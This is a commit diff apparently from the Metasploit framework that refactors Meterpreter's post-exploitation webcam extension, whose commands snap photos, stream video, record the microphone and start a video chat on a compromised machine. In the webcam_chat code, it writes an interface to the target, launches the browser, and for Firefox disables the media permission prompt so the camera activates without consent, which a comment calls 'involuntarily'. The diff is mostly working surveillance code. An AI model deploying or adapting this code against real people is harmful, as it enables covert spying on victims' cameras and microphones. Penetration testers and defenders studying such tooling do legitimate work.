Land #5262, fix webcam_chat and tidy adjacent code
commit
30830ad9e5
|
@ -178,7 +178,7 @@
|
|||
<body>
|
||||
|
||||
<div class="windowa" id="windowa">
|
||||
<b>You peer</b>
|
||||
<b>Your peer</b>
|
||||
</div>
|
||||
|
||||
<div class="dot1"></div>
|
||||
|
|
|
@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|||
app_data = ENV['APPDATA']
|
||||
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |p|
|
||||
if File.exists?(p)
|
||||
args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
paths.each do |path|
|
||||
if File.exists?(path)
|
||||
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{path} #{args} #{url}")
|
||||
found_browser = true
|
||||
break
|
||||
|
@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|||
end
|
||||
else
|
||||
if defined? ENV['PATH']
|
||||
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
||||
['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
browser_path = "#{path}/#{browser}"
|
||||
if File.exists?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{browser_path} #{args} #{url} &")
|
||||
found_browser = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#require 'rex/post/meterpreter/extensions/process'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
|
@ -15,7 +13,6 @@ module Webcam
|
|||
#
|
||||
###
|
||||
class Webcam
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::WebRTC
|
||||
|
@ -31,9 +28,9 @@ class Webcam
|
|||
def webcam_list
|
||||
response = client.send_request(Packet.create_request('webcam_list'))
|
||||
names = []
|
||||
response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
|
||||
response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
|
||||
names << tlv.value
|
||||
}
|
||||
end
|
||||
names
|
||||
end
|
||||
|
||||
|
@ -49,11 +46,11 @@ class Webcam
|
|||
request = Packet.create_request('webcam_get_frame')
|
||||
request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
|
||||
response = client.send_request(request)
|
||||
response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
|
||||
response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
|
||||
end
|
||||
|
||||
def webcam_stop
|
||||
client.send_request( Packet.create_request( 'webcam_stop' ) )
|
||||
client.send_request(Packet.create_request('webcam_stop'))
|
||||
true
|
||||
end
|
||||
|
||||
|
@ -67,13 +64,13 @@ class Webcam
|
|||
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
||||
channel = Rex::Text.rand_text_alphanumeric(20)
|
||||
|
||||
remote_browser_path = get_webrtc_browser_path
|
||||
remote_browser_path = webrtc_browser_path
|
||||
|
||||
if remote_browser_path.blank?
|
||||
raise RuntimeError, "Unable to find a suitable browser on the target machine"
|
||||
fail "Unable to find a suitable browser on the target machine"
|
||||
end
|
||||
|
||||
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||
init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||
connect_video_chat(server, channel, offerer_id)
|
||||
end
|
||||
|
||||
|
@ -83,40 +80,39 @@ class Webcam
|
|||
request = Packet.create_request('webcam_audio_record')
|
||||
request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
|
||||
response = client.send_request(request)
|
||||
response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
|
||||
response.get_tlv(TLV_TYPE_AUDIO_DATA).value
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a browser path that supports WebRTC
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_webrtc_browser_path
|
||||
def webrtc_browser_path
|
||||
found_browser_path = ''
|
||||
|
||||
case client.platform
|
||||
when /win/
|
||||
paths = [
|
||||
"Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"Program Files\\Mozilla Firefox\\firefox.exe"
|
||||
"%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
|
||||
"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
|
||||
"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
|
||||
]
|
||||
|
||||
drive = session.sys.config.getenv("SYSTEMDRIVE")
|
||||
paths = paths.map { |p| "#{drive}\\#{p}" }
|
||||
|
||||
# Old chrome path
|
||||
user_profile = client.sys.config.getenv("USERPROFILE")
|
||||
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |browser_path|
|
||||
if file?(browser_path)
|
||||
found_browser_path = browser_path
|
||||
found_browser_path = client.fs.file.expand_path(browser_path)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
@ -124,7 +120,7 @@ class Webcam
|
|||
when /osx|bsd/
|
||||
[
|
||||
'/Applications/Google Chrome.app',
|
||||
'/Applications/Firefox.app',
|
||||
'/Applications/Firefox.app'
|
||||
].each do |browser_path|
|
||||
if file?(browser_path)
|
||||
found_browser_path = browser_path
|
||||
|
@ -140,7 +136,6 @@ class Webcam
|
|||
found_browser_path
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates a video chat session as an offerer... involuntarily :-p
|
||||
# Windows targets only.
|
||||
|
@ -161,9 +156,9 @@ class Webcam
|
|||
begin
|
||||
write_file("#{tmp_dir}\\interface.html", interface)
|
||||
write_file("#{tmp_dir}\\api.js", api)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed. #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to initialize the interface on the target machine"
|
||||
rescue RuntimeError => e
|
||||
elog("webcam_chat failed. #{e.class} #{e}")
|
||||
raise "Unable to initialize the interface on the target machine"
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -176,26 +171,29 @@ class Webcam
|
|||
profile_name = Rex::Text.rand_text_alpha(8)
|
||||
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
|
||||
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
|
||||
setting = %Q|user_pref("media.navigator.permission.disabled", true);|
|
||||
setting = %|user_pref("media.navigator.permission.disabled", true);|
|
||||
begin
|
||||
write_file(profile_path, setting)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed: #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to write the necessary setting for Firefox."
|
||||
rescue RuntimeError => e
|
||||
elog("webcam_chat failed: #{e.class} #{e}")
|
||||
raise "Unable to write the necessary setting for Firefox."
|
||||
end
|
||||
args = "-p #{profile_name}"
|
||||
end
|
||||
|
||||
exec_opts = {'Hidden' => false, 'Channelized' => false}
|
||||
exec_opts = { 'Hidden' => false, 'Channelized' => false }
|
||||
|
||||
begin
|
||||
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
|
||||
rescue ::Exception => e
|
||||
elog("webcam_chat failed. #{e.class} #{e.to_s}")
|
||||
raise RuntimeError, "Unable to start the remote browser: #{e.message}"
|
||||
rescue RuntimeError => e
|
||||
elog("webcam_chat failed. #{e.class} #{e}")
|
||||
raise "Unable to start the remote browser: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,7 +12,6 @@ module Ui
|
|||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Stdapi::Webcam
|
||||
|
||||
Klass = Console::CommandDispatcher::Stdapi::Webcam
|
||||
|
||||
include Console::CommandDispatcher
|
||||
|
@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
"webcam_list" => [ "webcam_list" ],
|
||||
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"record_mic" => [ "webcam_audio_record" ],
|
||||
"record_mic" => [ "webcam_audio_record" ]
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
all.delete_if do |cmd, _desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
|
@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
end
|
||||
|
||||
def cmd_webcam_list
|
||||
begin
|
||||
client.webcam.webcam_list.each_with_index { |name, indx|
|
||||
print_line("#{indx + 1}: #{name}")
|
||||
}
|
||||
return true
|
||||
rescue
|
||||
if client.webcam.webcam_list.length == 0
|
||||
print_error("No webcams were found")
|
||||
return false
|
||||
return
|
||||
end
|
||||
|
||||
client.webcam.webcam_list.each_with_index do |name, indx|
|
||||
print_line("#{indx + 1}: #{name}")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_webcam_snap(*args)
|
||||
if client.webcam.webcam_list.length == 0
|
||||
print_error("Target does not have a webcam")
|
||||
return
|
||||
end
|
||||
|
||||
path = Rex::Text.rand_text_alpha(8) + ".jpeg"
|
||||
quality = 50
|
||||
view = true
|
||||
index = 1
|
||||
wc_list = []
|
||||
|
||||
webcam_snap_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner" ],
|
||||
|
@ -84,12 +85,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
|
||||
)
|
||||
|
||||
webcam_snap_opts.parse( args ) { | opt, idx, val |
|
||||
webcam_snap_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: webcam_snap [options]\n" )
|
||||
print_line( "Grab a frame from the specified webcam." )
|
||||
print_line( webcam_snap_opts.usage )
|
||||
print_line("Usage: webcam_snap [options]\n")
|
||||
print_line("Grab a frame from the specified webcam.")
|
||||
print_line(webcam_snap_opts.usage)
|
||||
return
|
||||
when "-i"
|
||||
index = val.to_i
|
||||
|
@ -98,37 +99,30 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
when "-p"
|
||||
path = val
|
||||
when "-v"
|
||||
view = false if ( val =~ /^(f|n|0)/i )
|
||||
view = false if val =~ /^(f|n|0)/i
|
||||
end
|
||||
}
|
||||
begin
|
||||
wc_list << client.webcam.webcam_list
|
||||
rescue
|
||||
end
|
||||
if wc_list.length > 0
|
||||
|
||||
begin
|
||||
print_status("Starting...")
|
||||
client.webcam.webcam_start(index)
|
||||
webcam_started = true
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
print_good("Got frame")
|
||||
ensure
|
||||
client.webcam.webcam_stop
|
||||
client.webcam.webcam_stop if webcam_started
|
||||
print_status("Stopped")
|
||||
end
|
||||
|
||||
if( data )
|
||||
::File.open( path, 'wb' ) do |fd|
|
||||
fd.write( data )
|
||||
if data
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
path = ::File.expand_path( path )
|
||||
print_line( "Webcam shot saved to: #{path}" )
|
||||
Rex::Compat.open_file( path ) if view
|
||||
end
|
||||
return true
|
||||
else
|
||||
print_error("No webcams where found")
|
||||
return false
|
||||
path = ::File.expand_path(path)
|
||||
print_line("Webcam shot saved to: #{path}")
|
||||
Rex::Compat.open_file(path) if view
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_webcam_chat(*args)
|
||||
|
@ -144,21 +138,20 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
"-s" => [ false, "WebSocket server" ]
|
||||
)
|
||||
|
||||
webcam_chat_opts.parse( args ) { | opt, idx, val |
|
||||
webcam_chat_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: webcam_chat [options]\n" )
|
||||
print_line( "Starts a video conversation with your target." )
|
||||
print_line( "Browser Requirements:")
|
||||
print_line( "Chrome: version 23 or newer" )
|
||||
print_line( "Firefox: version 22 or newer" )
|
||||
print_line( webcam_chat_opts.usage )
|
||||
print_line("Usage: webcam_chat [options]\n")
|
||||
print_line("Starts a video conversation with your target.")
|
||||
print_line("Browser Requirements:")
|
||||
print_line("Chrome: version 23 or newer")
|
||||
print_line("Firefox: version 22 or newer")
|
||||
print_line(webcam_chat_opts.usage)
|
||||
return
|
||||
when "-s"
|
||||
server = val.to_s
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Webcam chat session initialized.")
|
||||
|
@ -169,6 +162,11 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
end
|
||||
|
||||
def cmd_webcam_stream(*args)
|
||||
if client.webcam.webcam_list.length == 0
|
||||
print_error("Target does not have a webcam")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Starting...")
|
||||
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
|
||||
player_path = Rex::Text.rand_text_alpha(8) + ".html"
|
||||
|
@ -176,7 +174,6 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
quality = 50
|
||||
view = true
|
||||
index = 1
|
||||
wc_list = []
|
||||
|
||||
webcam_snap_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner" ],
|
||||
|
@ -188,12 +185,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
|
||||
)
|
||||
|
||||
webcam_snap_opts.parse( args ) { | opt, idx, val |
|
||||
webcam_snap_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: webcam_stream [options]\n" )
|
||||
print_line( "Stream from the specified webcam." )
|
||||
print_line( webcam_snap_opts.usage )
|
||||
print_line("Usage: webcam_stream [options]\n")
|
||||
print_line("Stream from the specified webcam.")
|
||||
print_line(webcam_snap_opts.usage)
|
||||
return
|
||||
when "-d"
|
||||
duration = val.to_i
|
||||
|
@ -206,12 +203,12 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
when "-t"
|
||||
player_path = val
|
||||
when "-v"
|
||||
view = false if ( val =~ /^(f|n|0)/i )
|
||||
view = false if val =~ /^(f|n|0)/i
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Preparing player...")
|
||||
html = %Q|<html>
|
||||
html = %|<html>
|
||||
<head>
|
||||
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
|
||||
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
|
||||
|
@ -272,7 +269,8 @@ Status : <span id="status"></span>
|
|||
print_status("Streaming...")
|
||||
begin
|
||||
client.webcam.webcam_start(index)
|
||||
::Timeout.timeout(duration) {
|
||||
webcam_started = true
|
||||
::Timeout.timeout(duration) do
|
||||
while client do
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
if data
|
||||
|
@ -282,10 +280,10 @@ Status : <span id="status"></span>
|
|||
data = nil
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
client.webcam.webcam_stop
|
||||
client.webcam.webcam_stop if webcam_started
|
||||
end
|
||||
|
||||
print_status("Stopped")
|
||||
|
@ -299,45 +297,42 @@ Status : <span id="status"></span>
|
|||
record_mic_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner" ],
|
||||
"-d" => [ true, "Number of seconds to record (Default: 1)" ],
|
||||
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
|
||||
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
|
||||
"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
|
||||
)
|
||||
|
||||
record_mic_opts.parse( args ) { | opt, idx, val |
|
||||
record_mic_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: record_mic [options]\n" )
|
||||
print_line( "Records audio from the default microphone." )
|
||||
print_line( record_mic_opts.usage )
|
||||
print_line("Usage: record_mic [options]\n")
|
||||
print_line("Records audio from the default microphone.")
|
||||
print_line(record_mic_opts.usage)
|
||||
return
|
||||
when "-d"
|
||||
duration = val.to_i
|
||||
when "-f"
|
||||
path = val
|
||||
when "-p"
|
||||
play = false if ( val =~ /^(f|n|0)/i )
|
||||
play = false if val =~ /^(f|n|0)/i
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Starting...")
|
||||
data = client.webcam.record_mic(duration)
|
||||
print_status("Stopped")
|
||||
|
||||
if( data )
|
||||
::File.open( path, 'wb' ) do |fd|
|
||||
fd.write( data )
|
||||
if data
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
path = ::File.expand_path( path )
|
||||
print_line( "Audio saved to: #{path}" )
|
||||
Rex::Compat.play_sound( path ) if play
|
||||
path = ::File.expand_path(path)
|
||||
print_line("Audio saved to: #{path}")
|
||||
Rex::Compat.play_sound(path) if play
|
||||
end
|
||||
return true
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue